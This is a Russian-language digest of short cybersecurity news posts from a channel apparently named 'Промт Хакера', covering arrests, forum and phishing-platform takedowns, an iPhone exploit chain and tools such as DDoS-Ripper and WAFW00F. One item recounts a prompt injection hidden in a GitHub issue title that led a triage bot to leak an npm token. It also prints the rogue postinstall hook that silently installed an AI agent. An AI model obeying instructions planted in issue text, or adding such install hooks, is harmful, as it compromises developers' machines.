🕺 Операция Project Compass, нацеленная на The Com, привела к 30 арестам

Операция Project Compass, которую координировал Европол, длилась более года и привела к 30 арестам и установлению личностей 179 подозреваемых, связанных с The Com

The Com (The Community) — разрозненная сеть хакеров и киберпреступников, преимущественно состоящая из англоязычных подростков, которые координируются через множество Discord- и Telegram-каналов.

Операция началась в январе 2025 года, ее возглавил Европейский центр по борьбе с терроризмом, и к расследованию присоединились правоохранительные органы из 28 стран.

Промт Хакера

😏 Спецслужбы следят за людьми через таргетированную рекламу — к такому выводу пришли исследователи.

Онлайн-реклама работает через мгновенные аукционы: данные пользователя (геолокация, IP-адрес, рекламный ID устройства) автоматически рассылаются множеству компаний.

Государственные агентства США покупают базы с геолокацией смартфонов. Эти данные собираются обычными приложениями — играми, фитнес-трекерами, погодными сервисами.

Промт Хакера

🪨 Криптан по ошибке отправил мошеннику 126 000 TON (~$220 000), а тот вернул их обратно

В хакере почему-то проснулась совесть и он вернул жертве 116 000 TON, оставив себе 10 000 TON (~$17 000), подписав транзакцию:

Простите, но это слишком много. Пожалуйста, заберите это обратно — я знаю, что это серьезные деньги. Мир.

Промт Хакера

😏 Пророссийские хакеры перехватили часть управления критическими объектами Израиля

Группировка Z-Pentest Alliance заявила о получении административного доступа к системам управления насосным оборудованием на ряде объектов критической инфраструктуры Израиля.

Им удалось получить полный контроль над HMI-системой, используемой для управления оборудованием.

Хакеры получили возможность просматривать элементы инфраструктуры и изменять параметры работы оборудования, включая настройки двигателя водяного насоса.

Промт Хакера

😃 Хакеры научились взламывать любые айфоны с iOS 13 по iOS 17.2.1 удалённо — специалисты Google нашли масштабный набор уязвимостей у iphone.

Для заражения достаточно просто зайти на сайт — JavaScript определяет модель айфона и версию ОС, после чего подбирает нужную цепочку атак, которая моментально отдает телефон в лапы хакеров.

После этого скрипт опустошает все криптокошельки жертвы, а в отдельных случаях — и банковские счета.

Промт Хакера

🙅‍♂️ Инструмент имитации DDoS-атак

DDoS-Ripper — инструмент для тестирования сети, который имитирует атаки Distributed Denial of Service (DDoS).

Он генерирует высокие объёмы HTTP-запросов с одной машины с помощью нескольких параллельных потоков

DDoS-Ripper совместим с несколькими платформами, включая Linux, Windows, MacOS и Termux

Промт Хакера

🐶 Claude Opus 4.5 обнаружила 22 уязвимости в Firefox за две недели

Исследователи Anthropic на протяжении двух недель использовали Claude Opus 4.5 для поиска уязвимостей в Firefox.

Суммарно LLM просканировала почти 6000 файлов с кодом на языке C++ и отправила 112 отчетов о проблемах.

Большую их часть команда браузера исправила в версии Firefox 148, которая вышла в феврале.

Промт Хакера

😏 Агент под прикрытием: как один заголовок-промпт на GitHub помог взломать 4000 компьютеров

17 февраля в репозитории npm была опубликована версия cline@2.3.0. С виду – ничего особенного: исполняемый файл был идентичен предыдущему байт в байт.

Лишь в файле package.json притаилась одна лишняя строчка:

 "postinstall": "npm install -g openclaw@latest"



В течение следующих восьми часов каждый разработчик, решивший установить или обновить Cline, невольно устанавливал OpenClaw.

Это отдельный ИИ-агент с полным доступом к системе, который устанавливался глобально и без какого-либо спроса – пакет успели скачать около 4000 раз, прежде чем его удалили из общего доступа.

Весь фокус в том, как именно злоумышленник раздобыл npm-токен — он просто спрятал инструкцию (промпт) прямо в заголовке тикета на GitHub.

Бот, занимавшийся сортировкой заявок, прочитал этот заголовок, принял его за приказ и послушно исполнил.

Промт Хакера

🦆 Лучшие методы защиты DNS, которые нужно внедрить уже сейчас

В статье рассказали о лучших практиках безопасности DNS — от базового управления сервером до использования шифрования и блокировки вредоносных сайтов.

Вы узнаете, как защитить целостность и конфиденциальность ваших служб разрешения имён и обеспечить надёжное функционирование сети.

Промт Хакера

🦍 5 ошибок в изучении ИБ, которых следует избегать

В этом видео автор на своём 10-летнем опыте ИБ-специалиста, рассказал, что бы он мог сделать иначе, если бы обладал теми знанями, которые имеет сейчас.

Вы узнаете о 5 самых распространенных ошибках в обучении и получите практические советы, как их точно суметь избежать.

Промт Хакера

💃 Коллекция гайдов, шпаргалок, хаков, однострочников, cli/web-инструментов и многого другого

Коллекция для пентестеров, кибербезопасников, системных и сетевых админов, и DevOps-инженеров.

Промт Хакера

👍 Хакер в поисках инопланетян

Рассказываем, как Гэри Маккиннон в одиночку совершил одну из самых крупных и технически сложных кибератак на военные и космические сети США и причём тут НЛО.

Промт Хакера

🐱 ФБР закрыло хак-форум LeakBase и изъяло информацию о 142 тыс. пользователей

3 и 4 марта ФБР совместно с правоохранителями из 14 стран провело скоординированную Европолом операцию по захвату LeakBase — он действовал с 2021 года и насчитывалось более 142 тыс. участников.

Было конфисковано два домена, а также правоохранители получили полную базу данных ресурса, включая аккаунты пользователей, публикации, приватные сообщения и IP-логи.

Промт Хакера

👍 Подмена SIM-карты: как работает атака и как защититься?

В статье рассказали о такой опасности, как SIM-swapping и поделились мерами для ее предотвращения.

Промт Хакера

🐸 Европол закрыл фишинговую платформу Tycoon2FA

Международная операция, координируемая Европолом, нарушила работу Tycoon2FA — одной из крупнейших фишинговых платформ, работавших по модели фишинг-как-услуга (phishing-as-a-service, PhaaS)

На долю Tycoon2FA приходилось 60% всех заблокированных фишинговых атак

Жертвами платформы стали почти 100 000 организаций по всему миру, в том числе госучреждения, школы и медицинские организации.

В ходе операции правоохранители изъяли 330 доменов, включая панели управления и фишинговые страницы.

Промт Хакера

🪨 Обнаружение защиты веб-приложений

WAFW00F — инструмент для идентификации продуктов защиты веб-приложений (файерволов веб-приложений, WAF).

WAF — система, которая устанавливается перед веб-сервером. Она помогает обнаружить и заблокировать различные виды атак на веб-приложения.

Работает путём отправки специально сформированных HTTP-запросов на целевой сайт и анализа ответов, чтобы определить, есть ли там WAF, а также версию и производителя используемого фильтра.

Промт Хакера

🪨 Экс-инженер DOGE украл данные 500 миллионов граждан США — гений вынес на флешке базу всех американцев с 1936 года.

Пока Маск оптимизировал расходы, его сотрудник оптимизировал «доступ уровня бога», скачав реестры Numident и Master Death File.

Схема года от «ликвидатора бюрократии»:
— Скачать данные на USB-носитель перед увольнением;
— Попытаться «санировать» их на домашнем ПК для работы в частной конторе;
— «В случае провала — просто ждать президентского помилования» (буквальная цитата)

SSA, конечно, делает вид, что всё под контролем.

Промт Хакера

🐧 Необычные и полезные утилиты Linux, о которых вы, скорее всего, не знали

В этом видео показали инструменты для повышения продуктивности и удобства при работе с Linux.

Большинство инструментов могут работать как и на Windows, так и на MacOS.

Промт Хакера

🐈‍⬛ В Steam обнаружили вредоносные игры

ФБР пытается установить личности лиц, пострадавших после установки одной из вредоносных игр в Steam с мая 2024 года по январь 2026 года.

В рамках расследования бюро выявило несколько вредоносных игр: BlockBlasters, Chemia, Dashverse/DashFPS, Lampy, Lunara, PirateFi и Tokenova.

Промт Хакера